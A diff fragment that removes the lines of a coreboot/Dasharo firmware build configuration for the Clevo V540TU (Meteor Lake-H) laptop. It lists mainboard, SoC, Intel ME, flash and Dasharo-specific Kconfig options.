-CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set -CONFIG_BOOTSPLASH_IMAGE=y -CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" -CONFIG_BOOTSPLASH_CONVERT=y -CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -CONFIG_VENDOR_CLEVO=y -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HARDKERNEL is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_NOVACUSTOM is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Not Applicable" -CONFIG_MAINBOARD_PART_NUMBER="V54x_6x_TU" -CONFIG_MAINBOARD_VERSION="V540TU" -CONFIG_MAINBOARD_DIR="clevo/mtl-h" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=1024 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Clevo" -CONFIG_CBFS_SIZE=0x1000000 -# CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=22 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_POST_DEVICE is not set -# CONFIG_POST_IO is not set -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x28 -CONFIG_VARIANT_DIR="igpu" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 - -# -# Alder Lake P -# -# CONFIG_BOARD_CLEVO_NS50PU is not set -# CONFIG_BOARD_CLEVO_NV40PZ is not set - -# -# Comet Lake U -# -# CONFIG_BOARD_CLEVO_L140CU is not set - -# -# Kaby Lake U -# -# CONFIG_BOARD_CLEVO_N130WU is not set - -# -# Meteor Lake H -# -# CONFIG_BOARD_CLEVO_V540TNX is not set -# CONFIG_BOARD_CLEVO_V560TNX is not set -CONFIG_BOARD_CLEVO_V540TU=y -# CONFIG_BOARD_CLEVO_V560TU is not set - -# -# Tiger Lake U -# -# CONFIG_BOARD_CLEVO_L140MU is not set -# CONFIG_BOARD_CLEVO_NV40MZ is not set -# CONFIG_BOARD_CLEVO_NS50MU is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="V54x_6x_TU" -# CONFIG_CONSOLE_POST is not set -# CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x61 -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" -CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y -CONFIG_BOARD_CLEVO_MTLH_COMMON=y -CONFIG_BOARD_CLEVO_V5X0TU_BASE=y -CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0xc0000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/descriptor.bin" -CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/me.bin" -CONFIG_GBE_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/gbe.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x200000 -CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=36 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=42 -CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_FSP_TEMP_RAM_SIZE=0x20000 -CONFIG_EC_GPE_SCI=0x50 -CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="debug" -CONFIG_BOARD_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -CONFIG_COREBOOT_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=32768 -CONFIG_ROM_SIZE=0x02000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/meteorlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe02c000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT=y -CONFIG_ACPI_BERT_SIZE=0x10000 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 -CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 -CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 -CONFIG_IFD_CHIPSET="mtl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_TBT_ROOT_PORTS=4 -CONFIG_MAX_ROOT_PORTS=12 -CONFIG_MAX_PCIE_CLOCK_SRC=9 -CONFIG_PCR_BASE_ADDRESS=0xe0000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=125 -CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=38400000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -CONFIG_SOC_INTEL_UART_DEV_MAX=3 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff -CONFIG_FSP_HEADER_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Fsp.fd" -CONFIG_DATA_BUS_WIDTH=128 -CONFIG_DIMMS_PER_CHANNEL=2 -CONFIG_MRC_CHANNEL_WIDTH=16 -CONFIG_BUILDING_WITH_DEBUG_FSP=y -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_FSP_PUBLISH_MBP_HOB=y -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_METEORLAKE=y -CONFIG_SOC_INTEL_METEORLAKE_U_H=y -CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y -CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y -CONFIG_CPU_MAX_TEMPERATURE=110 -CONFIG_IOE_PCR_BASE_ADDRESS=0x60000000 -CONFIG_SOC_INTEL_USB2_DEV_MAX=10 -CONFIG_SOC_INTEL_USB3_DEV_MAX=2 -CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x800000 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x100f -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x100f -CONFIG_IOE_DIE_CLOCK_START=6 -CONFIG_SOC_INTEL_CSE_FW_PARTITION_CMOS_OFFSET=161 -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_SLP_S0_FREQ_HZ=0x2005 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=42 -CONFIG_INTEL_TME=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -CONFIG_CAR_HAS_SF_MASKS=y -CONFIG_COS_MAPPED_TO_MSB=y -CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y -CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y -CONFIG_CPU_SUPPORTS_INTEL_TME=y -CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT=y -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -CONFIG_INTEL_KEYLOCKER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE=2 -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_SET_EOP=y -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY=y -CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY_V2=y -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_18=y -CONFIG_ME_SPEC=18 -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_IOSTANDBY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PMODE_4BITS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_GFX_NON_PREFETCHABLE_MMIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IOC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IOE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y -CONFIG_PCIE_CLOCK_CONTROL_THROUGH_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y -CONFIG_PMC_IPC_ACPI_INTERFACE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y -# CONFIG_TCSS_HAS_USBC_OPS is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y -CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y -# CONFIG_FIRMWARE_CONNECTION_MANAGER is not set -CONFIG_SOFTWARE_CONNECTION_MANAGER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y -CONFIG_ENABLE_EARLY_DMA_PROTECTION=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set -CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y -# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set -CONFIG_SOC_INTEL_CRASHLOG=y -CONFIG_SOC_INTEL_IOE_DIE_SUPPORT=y - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_VOLTAGE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_DEFAULT_X2APIC_LATE_WORKAROUND=y -# CONFIG_XAPIC_ONLY is not set -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -CONFIG_X2APIC_LATE_WORKAROUND=y -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_X86_INIT_NEED_1_SIPI=y -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# - -# -# Southbridge -# -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_SYSTEM76_EC=y -# CONFIG_EC_SYSTEM76_EC_UPDATE is not set - -# -# Intel Firmware -# -# CONFIG_IFDTOOL_DISABLE_ME is not set -CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -CONFIG_HAVE_INTEL_ME_HAP=y -# CONFIG_INTEL_ME_DISABLED_HECI is not set -CONFIG_INTEL_ME_DISABLED_HAP=y -# CONFIG_INTEL_ME_ENABLED is not set -CONFIG_INTEL_ME_DEFAULT_STATE=2 -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y -CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_BIOS_VENDOR="3mdeb" - -# -# Dasharo -# - -# -# Dasharo Configuration -# -CONFIG_DASHARO_PREFER_S3_SLEEP=y -CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y -# end of Dasharo Configuration - -CONFIG_UDK_BASE=y -# CONFIG_UDK_202005_BINDING is not set -CONFIG_UDK_202302_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=202302 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_CUSTOM_BOOTMEDIA=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y 